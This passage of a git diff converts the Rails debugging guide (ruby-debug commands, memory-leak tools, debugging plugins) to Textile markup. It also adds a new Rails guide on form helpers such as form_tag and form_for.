+</shell>
And then ask again for the instance_variables:
-----------------------------------------------------------------------------
+<shell>
(rdb:11) instance_variables.include? "@posts"
true
-----------------------------------------------------------------------------
+</shell>
Now +@posts+ is a included in the instance variables, because the line defining it was executed.
-[TIP]
-You can also step into *irb* mode with the command `irb` (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.
+TIP: You can also step into *irb* mode with the command +irb+ (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.
-The `var` method is the most convenient way to show variables and their values:
+The +var+ method is the most convenient way to show variables and their values:
-----------------------------------------------------------------------------
+<shell>
var
(rdb:1) v[ar] const <object> show constants of object
(rdb:1) v[ar] g[lobal] show global variables
(rdb:1) v[ar] i[nstance] <object> show instance variables of object
(rdb:1) v[ar] l[ocal] show local variables
-----------------------------------------------------------------------------
+</shell>
This is a great way to inspect the values of the current context variables. For example:
-----------------------------------------------------------------------------
+<shell>
(rdb:9) var local
__dbg_verbose_save => false
-----------------------------------------------------------------------------
+</shell>
You can also inspect for an object method this way:
-----------------------------------------------------------------------------
+<shell>
(rdb:9) var instance Post.new
@attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"...
@attributes_cache = {}
@new_record = true
-----------------------------------------------------------------------------
+</shell>
-[TIP]
-The commands `p` (print) and `pp` (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.
+TIP: The commands +p+ (print) and +pp+ (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.
-You can use also `display` to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.
+You can use also +display+ to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.
-----------------------------------------------------------------------------
+<shell>
(rdb:1) display @recent_comments
1: @recent_comments =
-----------------------------------------------------------------------------
+</shell>
-The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use `undisplay _n_` where _n_ is the variable number (1 in the last example).
+The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use +undisplay _n_+ where _n_ is the variable number (1 in the last example).
-=== Step by Step
+h4. Step by Step
Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.
-Use `step` (abbreviated `s`) to continue running your program until the next logical stopping point and return control to ruby-debug.
+Use +step+ (abbreviated +s+) to continue running your program until the next logical stopping point and return control to ruby-debug.
-[TIP]
-You can also use `step+ _n_` and `step- _n_` to move forward or backward _n_ steps respectively.
+TIP: You can also use +step+ _n_+ and +step- _n_+ to move forward or backward _n_ steps respectively.
-You may also use `next` which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps.
+You may also use +next+ which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps.
-The difference between `next` and `step` is that `step` stops at the next line of code executed, doing just a single step, while `next` moves to the next line without descending inside methods.
+The difference between +next+ and +step+ is that +step+ stops at the next line of code executed, doing just a single step, while +next+ moves to the next line without descending inside methods.
For example, consider this block of code with an included +debugger+ statement:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
class Author < ActiveRecord::Base
has_one :editorial
has_many :comments
@@ -491,12 +470,11 @@ class Author < ActiveRecord::Base
)
end
end
-----------------------------------------------------------------------------
+</ruby>
-[TIP]
-You can use ruby-debug while using script/console. Just remember to `require "ruby-debug"` before calling the `debugger` method.
+TIP: You can use ruby-debug while using script/console. Just remember to +require "ruby-debug"+ before calling the +debugger+ method.
-----------------------------------------------------------------------------
+<shell>
/PathTo/project $ script/console
Loading development environment (Rails 2.1.0)
>> require "ruby-debug"
@@ -506,11 +484,11 @@ Loading development environment (Rails 2.1.0)
>> author.find_recent_comments
/PathTo/project/app/models/author.rb:11
)
-----------------------------------------------------------------------------
+</shell>
With the code stopped, take a look around:
-----------------------------------------------------------------------------
+<shell>
(rdb:1) list
[6, 15] in /PathTo/project/app/models/author.rb
6 debugger
@@ -521,19 +499,19 @@ With the code stopped, take a look around:
=> 11 )
12 end
13 end
-----------------------------------------------------------------------------
+</shell>
You are at the end of the line, but... was this line executed? You can inspect the instance variables.
-----------------------------------------------------------------------------
+<shell>
(rdb:1) var instance
@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
@attributes_cache = {}
-----------------------------------------------------------------------------
+</shell>
+@recent_comments+ hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the +next+ command to move on in the code:
-----------------------------------------------------------------------------
+<shell>
(rdb:1) next
/PathTo/project/app/models/author.rb:12
@recent_comments
@@ -542,138 +520,136 @@ You are at the end of the line, but... was this line executed? You can inspect t
@attributes_cache = {}
@comments = []
@recent_comments = []
-----------------------------------------------------------------------------
+</shell>
Now you can see that the +@comments+ relationship was loaded and @recent_comments defined because the line was executed.
-If you want to go deeper into the stack trace you can move single `steps`, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.
+If you want to go deeper into the stack trace you can move single +steps+, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.
-=== Breakpoints
+h4. Breakpoints
A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.
-You can add breakpoints dynamically with the command `break` (or just `b`). There are 3 possible ways of adding breakpoints manually:
+You can add breakpoints dynamically with the command +break+ (or just +b+). There are 3 possible ways of adding breakpoints manually:
-* `break line`: set breakpoint in the _line_ in the current source file.
-* `break file:line [if expression]`: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger.
-* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line.
+* +break line+: set breakpoint in the _line_ in the current source file.
+* +break file:line [if expression]+: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger.
+* +break class(.|\#)method [if expression]+: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line.
-----------------------------------------------------------------------------
+<shell>
(rdb:5) break 10
Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10
-----------------------------------------------------------------------------
+</shell>
-Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
+Use +info breakpoints _n_+ or +info break _n_+ to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
-----------------------------------------------------------------------------
+<shell>
(rdb:5) info breakpoints
Num Enb What
1 y at filters.rb:10
-----------------------------------------------------------------------------
+</shell>
-To delete breakpoints: use the command `delete _n_` to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active..
+To delete breakpoints: use the command +delete _n_+ to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active..
-----------------------------------------------------------------------------
+<shell>
(rdb:5) delete 1
(rdb:5) info breakpoints
No breakpoints.
-----------------------------------------------------------------------------
+</shell>
You can also enable or disable breakpoints:
-* `enable breakpoints`: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
-* `disable breakpoints`: the _breakpoints_ will have no effect on your program.
+* +enable breakpoints+: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
+* +disable breakpoints+: the _breakpoints_ will have no effect on your program.
-=== Catching Exceptions
+h4. Catching Exceptions
-The command `catch exception-name` (or just `cat exception-name`) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it.
+The command +catch exception-name+ (or just +cat exception-name+) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it.
-To list all active catchpoints use `catch`.
+To list all active catchpoints use +catch+.
-=== Resuming Execution
+h4. Resuming Execution
There are two ways to resume execution of an application that is stopped in the debugger:
-* `continue` [line-specification] (or `c`): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
-* `finish` [frame-number] (or `fin`): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
+* +continue+ [line-specification] (or +c+): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
+* +finish+ [frame-number] (or +fin+): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
-=== Editing
+h4. Editing
Two commands allow you to open code from the debugger into an editor:
-* `edit [file:line]`: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given.
-* `tmate _n_` (abbreviated `tm`): open the current file in TextMate. It uses n-th frame if _n_ is specified.
+* +edit [file:line]+: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given.
+* +tmate _n_+ (abbreviated +tm+): open the current file in TextMate. It uses n-th frame if _n_ is specified.
-=== Quitting
+h4. Quitting
-To exit the debugger, use the `quit` command (abbreviated `q`), or its alias `exit`.
+To exit the debugger, use the +quit+ command (abbreviated +q+), or its alias +exit+.
A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.
-=== Settings
+h4. Settings
There are some settings that can be configured in ruby-debug to make it easier to debug your code. Here are a few of the available options:
-* `set reload`: Reload source code when changed.
-* `set autolist`: Execute `list` command on every breakpoint.
-* `set listsize _n_`: Set number of source lines to list by default to _n_.
-* `set forcestep`: Make sure the `next` and `step` commands always move to a new line
+* +set reload+: Reload source code when changed.
+* +set autolist+: Execute +list+ command on every breakpoint.
+* +set listsize _n_+: Set number of source lines to list by default to _n_.
+* +set forcestep+: Make sure the +next+ and +step+ commands always move to a new line
-You can see the full list by using `help set`. Use `help set _subcommand_` to learn about a particular +set+ command.
+You can see the full list by using +help set+. Use +help set _subcommand_+ to learn about a particular +set+ command.
-[TIP]
-You can include any number of these configuration lines inside a `.rdebugrc` file in your HOME directory. ruby-debug will read this file every time it is loaded. and configure itself accordingly.
+TIP: You can include any number of these configuration lines inside a +.rdebugrc+ file in your HOME directory. ruby-debug will read this file every time it is loaded. and configure itself accordingly.
-Here's a good start for an `.rdebugrc`:
+Here's a good start for an +.rdebugrc+:
-----------------------------------------------------------------------------
+<shell>
set autolist
set forcestep
set listsize 25
-----------------------------------------------------------------------------
+</shell>
-== Debugging Memory Leaks
+h3. Debugging Memory Leaks
A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.
In this section, you will learn how to find and fix such leaks by using Bleak House and Valgrind debugging tools.
-=== BleakHouse
+h4. BleakHouse
-link:http://github.com/fauna/bleak_house/tree/master[BleakHouse] is a library for finding memory leaks.
+"BleakHouse":http://github.com/fauna/bleak_house/tree/master is a library for finding memory leaks.
If a Ruby object does not go out of scope, the Ruby Garbage Collector won't sweep it since it is referenced somewhere. Leaks like this can grow slowly and your application will consume more and more memory, gradually affecting the overall system performance. This tool will help you find leaks on the Ruby heap.
To install it run:
-----------------------------------------------------------------------------
+<shell>
sudo gem install bleak_house
-----------------------------------------------------------------------------
+</shell>
-Then setup you application for profiling. Then add the following at the bottom of config/environment.rb:
+Then setup your application for profiling. Then add the following at the bottom of config/environment.rb:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
require 'bleak_house' if ENV['BLEAK_HOUSE']
-----------------------------------------------------------------------------
+</ruby>
Start a server instance with BleakHouse integration:
-----------------------------------------------------------------------------
+<shell>
RAILS_ENV=production BLEAK_HOUSE=1 ruby-bleak-house ./script/server
-----------------------------------------------------------------------------
+</shell>
-Make sure to run a couple hundred requests to get better data samples, then press `CTRL-C`. The server will stop and Bleak House will produce a dumpfile in `/tmp`:
+Make sure to run a couple hundred requests to get better data samples, then press +CTRL-C+. The server will stop and Bleak House will produce a dumpfile in +/tmp+:
-----------------------------------------------------------------------------
+<shell>
** BleakHouse: working...
** BleakHouse: complete
** Bleakhouse: run 'bleak /tmp/bleak.5979.0.dump' to analyze.
-----------------------------------------------------------------------------
-
-To analyze it, just run the listed command. The top 20 leakiest lines will be listed:
+</shell>
+
+To analyze it, just run the listed command. The top 20 leakiest lines will be listed:
-----------------------------------------------------------------------------
+<shell>
191691 total objects
Final heap size 191691 filled, 220961 free
Displaying top 20 most common line/class pairs
@@ -686,48 +662,48 @@ To analyze it, just run the listed command. The top 20 leakiest lines will be li
935 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:String
834 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:146:Array
...
-----------------------------------------------------------------------------
+</shell>
This way you can find where your application is leaking memory and fix it.
-If link:http://github.com/fauna/bleak_house/tree/master[BleakHouse] doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.
+If "BleakHouse":http://github.com/fauna/bleak_house/tree/master doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.
-=== Valgrind
+h4. Valgrind
-link:http://valgrind.org/[Valgrind] is a Linux-only application for detecting C-based memory leaks and race conditions.
+"Valgrind":http://valgrind.org/ is a Linux-only application for detecting C-based memory leaks and race conditions.
-There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls `malloc()` but is doesn't properly call `free()`, this memory won't be available until the app terminates.
+There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls +malloc()+ but is doesn't properly call +free()+, this memory won't be available until the app terminates.
-For further information on how to install Valgrind and use with Ruby, refer to link:http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/[Valgrind and Ruby] by Evan Weaver.
+For further information on how to install Valgrind and use with Ruby, refer to "Valgrind and Ruby":http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/ by Evan Weaver.
-== Plugins for Debugging
+h3. Plugins for Debugging
There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:
-* link:http://github.com/drnic/rails-footnotes/tree/master[Footnotes]: Every Rails page has footnotes that give request information and link back to your source via TextMate.
-* link:http://github.com/ntalbott/query_trace/tree/master[Query Trace]: Adds query origin tracing to your logs.
-* link:http://github.com/dan-manges/query_stats/tree/master[Query Stats]: A Rails plugin to track database queries.
-* link:http://code.google.com/p/query-reviewer/[Query Reviewer]: This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
-* link:http://github.com/rails/exception_notification/tree/master[Exception Notifier]: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
-* link:http://github.com/defunkt/exception_logger/tree/master[Exception Logger]: Logs your Rails exceptions in the database and provides a funky web interface to manage them.
-
-== References
-
-* link:http://www.datanoise.com/ruby-debug[ruby-debug Homepage]
-* link:http://www.sitepoint.com/article/debug-rails-app-ruby-debug/[Article: Debugging a Rails application with ruby-debug]
-* link:http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/[ruby-debug Basics screencast]
-* link:http://railscasts.com/episodes/54-debugging-with-ruby-debug[Ryan Bate's ruby-debug screencast]
-* link:http://railscasts.com/episodes/24-the-stack-trace[Ryan Bate's stack trace screencast]
-* link:http://railscasts.com/episodes/56-the-logger[Ryan Bate's logger screencast]
-* link:http://bashdb.sourceforge.net/ruby-debug.html[Debugging with ruby-debug]
-* link:http://cheat.errtheblog.com/s/rdebug/[ruby-debug cheat sheet]
-* link:http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging[Ruby on Rails Wiki: How to Configure Logging]
-* link:http://blog.evanweaver.com/files/doc/fauna/bleak_house/files/README.html[Bleak House Documentation]
-
-== Changelog ==
-
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/5[Lighthouse ticket]
-
-* November 3, 2008: Accepted for publication. Added RJS, memory leaks and plugins chapters by link:../authors.html#miloops[Emilio Tagua]
-* October 19, 2008: Copy editing pass by link:../authors.html#mgunderloy[Mike Gunderloy]
-* September 16, 2008: initial version by link:../authors.html#miloops[Emilio Tagua]
+* "Footnotes":http://github.com/drnic/rails-footnotes/tree/master: Every Rails page has footnotes that give request information and link back to your source via TextMate.
+* "Query Trace":http://github.com/ntalbott/query_trace/tree/master: Adds query origin tracing to your logs.
+* "Query Stats":http://github.com/dan-manges/query_stats/tree/master: A Rails plugin to track database queries.
+* "Query Reviewer":http://code.google.com/p/query-reviewer/: This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
+* "Exception Notifier":http://github.com/rails/exception_notification/tree/master: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
+* "Exception Logger":http://github.com/defunkt/exception_logger/tree/master: Logs your Rails exceptions in the database and provides a funky web interface to manage them.
+
+h3. References
+
+* "ruby-debug Homepage":http://www.datanoise.com/ruby-debug
+* "Article: Debugging a Rails application with ruby-debug":http://www.sitepoint.com/article/debug-rails-app-ruby-debug/
+* "ruby-debug Basics screencast":http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/
+* "Ryan Bate's ruby-debug screencast":http://railscasts.com/episodes/54-debugging-with-ruby-debug
+* "Ryan Bate's stack trace screencast":http://railscasts.com/episodes/24-the-stack-trace
+* "Ryan Bate's logger screencast":http://railscasts.com/episodes/56-the-logger
+* "Debugging with ruby-debug":http://bashdb.sourceforge.net/ruby-debug.html
+* "ruby-debug cheat sheet":http://cheat.errtheblog.com/s/rdebug/
+* "Ruby on Rails Wiki: How to Configure Logging":http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging
+* "Bleak House Documentation":http://blog.evanweaver.com/files/doc/fauna/bleak_house/files/README.html
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/5
+
+* November 3, 2008: Accepted for publication. Added RJS, memory leaks and plugins chapters by "Emilio Tagua":credits.html#miloops
+* October 19, 2008: Copy editing pass by "Mike Gunderloy":credits.html#mgunderloy
+* September 16, 2008: initial version by "Emilio Tagua":credits.html#miloops
diff --git a/railties/guides/source/form_helpers.textile b/railties/guides/source/form_helpers.textile
new file mode 100644
index 0000000000..22d24b0903
--- /dev/null
+++ b/railties/guides/source/form_helpers.textile
@@ -0,0 +1,766 @@
+h2. Rails Form helpers
+
+Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.
+
+In this guide you will:
+
+* Create search forms and similar kind of generic forms not representing any specific model in your application
+* Make model-centric forms for creation and editing of specific database records
+* Generate select boxes from multiple types of data
+* Understand the date and time helpers Rails provides
+* Learn what makes a file upload form different
+* Find out where to look for complex forms
+
+endprologue.
+
+NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit "the Rails API documentation":http://api.rubyonrails.org/ for a complete reference.
+
+
+h3. Dealing with Basic Forms
+
+The most basic form helper is +form_tag+.
+
+<erb>
+<% form_tag do %>
+ Form contents
+<% end %>
+</erb>
+
+When called without arguments like this, it creates a form element that has the current page as its action and "post" as its method (some line breaks added for readability):
+
+Sample output from +form_tag+:
+
+<html>
+<form action="/home/index" method="post">
+ <div style="margin:0;padding:0">
+ <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
+ </div>
+ Form contents
+</form>
+</html>
+
+If you carefully observe this output, you can see that the helper generated something you didn't specify: a +div+ element with a hidden input inside. This is a security feature of Rails called *cross-site request forgery protection* and form helpers generate it for every form whose action is not "get" (provided that this security feature is enabled). You can read more about this in the "Ruby On Rails Security Guide":./security.html#_cross_site_reference_forgery_csrf.
+
+NOTE: Throughout this guide, this +div+ with the hidden input will be stripped away to have clearer code samples.
+
+h4. A Generic Search Form
+
+Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of:
+
+# a form element with "GET" method,
+# a label for the input,
+# a text input element, and
+# a submit element.
+
+IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action.
+
+To create this form you will use +form_tag+, +label_tag+, +text_field_tag+, and +submit_tag+, respectively.
+
+A basic search form
+
+<html>
+<% form_tag(search_path, :method => "get") do %>
+ <%= label_tag(:q, "Search for:") %>
+ <%= text_field_tag(:q) %>
+ <%= submit_tag("Search") %>
+<% end %>
+</html>
+
+TIP: +search_path+ can be a named route specified in "routes.rb": <pre>map.search "search", :controller => "search"</pre>
+
+The above view code will result in the following markup:
+
+<html>
+<form action="/search" method="get">
+ <label for="q">Search for:</label>
+ <input id="q" name="q" type="text" />
+ <input name="commit" type="submit" value="Search" />
+</form>
+</html>
+
+Besides +text_field_tag+ and +submit_tag+, there is a similar helper for _every_ form control in HTML.
+
+TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
+
+h4. Multiple Hashes in Form Helper Calls
+
+By now you've seen that the +form_tag+ helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class.
+
+As with the +link_to+ helper, the path argument doesn't have to be given a string. It can be a hash of URL parameters that Rails' routing mechanism will turn into a valid URL. However, this is a bad way to pass multiple hashes as method arguments:
+
+<ruby>
+form_tag(:controller => "people", :action => "search", :method => "get", :class => "nifty_form")
+# => <form action="/people/search?method=get&class=nifty_form" method="post">
+</ruby>
+
+Here you wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL with extraneous parameters. The correct way of passing multiple hashes as arguments is to delimit the first hash (or both hashes) with curly brackets:
+
+<ruby>
+form_tag({:controller => "people", :action => "search"}, :method => "get", :class => "nifty_form")
+# => <form action="/people/search" method="get" class="nifty_form">
+</ruby>
+
+This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly.
+
+WARNING: Do not delimit the second hash without doing so with the first hash, otherwise your method invocation will result in an +expecting tASSOC+ syntax error.
+
+h4. Helpers for Generating Form Elements
+
+Rails provides a series of helpers for generating form elements such as checkboxes, text fields, radio buttons, and so on. These basic helpers, with names ending in <notextile>_tag</notextile> such as +text_field_tag+, +check_box_tag+, etc., generate just a single +&lt;input&gt;+ element. The first parameter to these is always the name of the input. In the controller this name will be the key in the +params+ hash used to get the value entered by the user. For example, if the form contains
+
+<erb>
+<%= text_field_tag(:query) %>
+</erb>
+
+then the controller code should use
+
+<ruby>
+params[:query]
+</ruby>
+
+to retrieve the value entered by the user. When naming inputs, be aware that Rails uses certain conventions that control whether values are at the top level of the +params+ hash, inside an array or a nested hash and so on. You can read more about them in the parameter_names section. For details on the precise usage of these helpers, please refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html.
+
+h5. Checkboxes
+
+Checkboxes are form controls that give the user a set of options they can enable or disable:
+
+<erb>
+<%= check_box_tag(:pet_dog) %>
+ <%= label_tag(:pet_dog, "I own a dog") %>
+<%= check_box_tag(:pet_cat) %>
+ <%= label_tag(:pet_cat, "I own a cat") %>
+
+output:
+
+<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
+ <label for="pet_dog">I own a dog</label>
+<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
+ <label for="pet_cat">I own a cat</label>
+</erb>
+
+The second parameter to +check_box_tag+ is the value of the input. This is the value that will be submitted by the browser if the checkbox is ticked (i.e. the value that will be present in the +params+ hash). With the above form you would check the value of +params[:pet_dog]+ and +params[:pet_cat]+ to see which pets the user owns.
+
+h5. Radio Buttons
+
+Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e. the user can only pick one):
+
+<erb>
+<%= radio_button_tag(:age, "child") %>
+ <%= label_tag(:age_child, "I am younger than 21") %>
+<%= radio_button_tag(:age, "adult") %>
+ <%= label_tag(:age_adult, "I'm over 21") %>
+
+output:
+
+<input id="age_child" name="age" type="radio" value="child" />
+ <label for="age_child">I am younger than 21</label>
+<input id="age_adult" name="age" type="radio" value="adult" />
+ <label for="age_adult">I'm over 21</label>
+</erb>
+
+As with +check_box_tag+ the second parameter to +radio_button_tag+ is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one and +params[:age]+ will contain either "child" or "adult".
+
+IMPORTANT: Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region.
+
+h4. Other Helpers of Interest
+
+Other form controls worth mentioning are the text area, password input and hidden input:
+
+<erb>
+<%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %>
+<%= password_field_tag(:password) %>
+<%= hidden_field_tag(:parent_id, "5") %>
+
+output:
+
+<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
+<input id="password" name="password" type="password" />
+<input id="parent_id" name="parent_id" type="hidden" value="5" />
+</erb>
+
+Hidden inputs are not shown to the user, but they hold data like any textual input. Values inside them can be changed with JavaScript.
+
+TIP: If you're using password input fields (for any purpose), you might want to prevent their values showing up in application logs by activating +filter_parameter_logging(:password)+ in your ApplicationController.
+
+
+h3. Dealing with Model Objects
+
+h4. Model Object Helpers
+
+A particularly common task for a form is editing or creating a model object. While the +*_tag+ helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the <notextile>_tag</notextile> suffix, for example +text_field+, +text_area+.
+
+For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined +@person+ and that person's name is Henry then a form containing:
+
+<erb>
+<%= text_field(:person, :name) %>
+</erb>
+
+will produce output similar to
+
+<erb>
+<input id="person_name" name="person[name]" type="text" value="Henry"/>
+</erb>
+
+Upon form submission the value entered by the user will be stored in +params[:person][:name]+. The +params[:person]+ hash is suitable for passing to +Person.new+ or, if +@person+ is an instance of Person, +@person.update_attributes+. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a +name+ and a +name=+ method Rails will be happy.
+
+WARNING: You must pass the name of an instance variable, i.e. +:person+ or +"person"+, not an actual instance of your model object.
+
+Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the "Active Record Validations and Callbacks":./activerecord_validations_callbacks.html#_using_the_tt_errors_tt_collection_in_your_view_templates guide.
+
+h4. Binding a Form to an Object
+
+While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what +form_for+ does.
+
+Assume we have a controller for dealing with articles:
+
+articles_controller.rb:
+
+<ruby>
+def new
+ @article = Article.new
+end
+</ruby>
+
+The corresponding view using +form_for+ looks like this
+
+articles/new.html.erb:
+
+<erb>
+<% form_for :article, @article, :url => { :action => "create" }, :html => {:class => "nifty_form"} do |f| %>
+ <%= f.text_field :title %>
+ <%= f.text_area :body, :size => "60x12" %>
+ <%= submit_tag "Create" %>
+<% end %>
+</erb>
+
+There are a few things to note here:
+
+# +:article+ is the name of the model and +@article+ is the actual object being edited.
+# There is a single hash of options. Routing options are passed in the +:url+ hash, HTML options are passed in the +:html+ hash.
+# The +form_for+ method yields a *form builder* object (the +f+ variable).
+# Methods to create form controls are called *on* the form builder object +f+
+
+The resulting HTML is:
+
+<html>
+<form action="/articles/create" method="post" class="nifty_form">
+ <input id="article_title" name="article[title]" size="30" type="text" />
+ <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
+ <input name="commit" type="submit" value="Create" />
+</form>
+</html>
+
+The name passed to +form_for+ controls the key used in +params+ to access the form's values. Here the name is +article+ and so all the inputs have names of the form +article[<em>attribute_name</em>]+. Accordingly, in the +create+ action +params[:article]+ will be a hash with keys +:title+ and +:body+. You can read more about the significance of input names in the parameter_names section.
+
+The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.
+
+You can create a similar binding without actually creating +&lt;form&gt;+ tags with the +fields_for+ helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so:
+
+<erb>
+<% form_for :person, @person, :url => { :action => "create" } do |person_form| %>
+ <%= person_form.text_field :name %>
+ <% fields_for @person.contact_detail do |contact_details_form| %>
+ <%= contact_details_form.text_field :phone_number %>
+ <% end %>
+<% end %>
+</erb>
+
+which produces the following output:
+
+<html>
+<form action="/people/create" class="new_person" id="new_person" method="post">
+ <input id="person_name" name="person[name]" size="30" type="text" />
+ <input id="contact_detail_phone_number" name="contact_detail[phone_number]" size="30" type="text" />
+</form>
+</html>
+
+The object yielded by +fields_for+ is a form builder like the one yielded by +form_for+ (in fact +form_for+ calls +fields_for+ internally).
+
+h4. Relying on Record Identification
+
+The Article model is directly available to users of the application, so -- following the best practices for developing with Rails -- you should declare it *a resource*.
+
+When dealing with RESTful resources, calls to +form_for+ can get significantly easier if you rely on *record identification*. In short, you can just pass the model instance and have Rails figure out model name and the rest:
+
+<ruby>
+## Creating a new article
+# long-style:
+form_for(:article, @article, :url => articles_path)
+# same thing, short-style (record identification gets used):
+form_for(@article)
+
+## Editing an existing article
+# long-style:
+form_for(:article, @article, :url => article_path(@article), :method => "put")
+# short-style:
+form_for(@article)
+</ruby>
+
+Notice how the short-style +form_for+ invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking +record.new_record?+. It also selects the correct path to submit to and the name based on the class of the object.
+
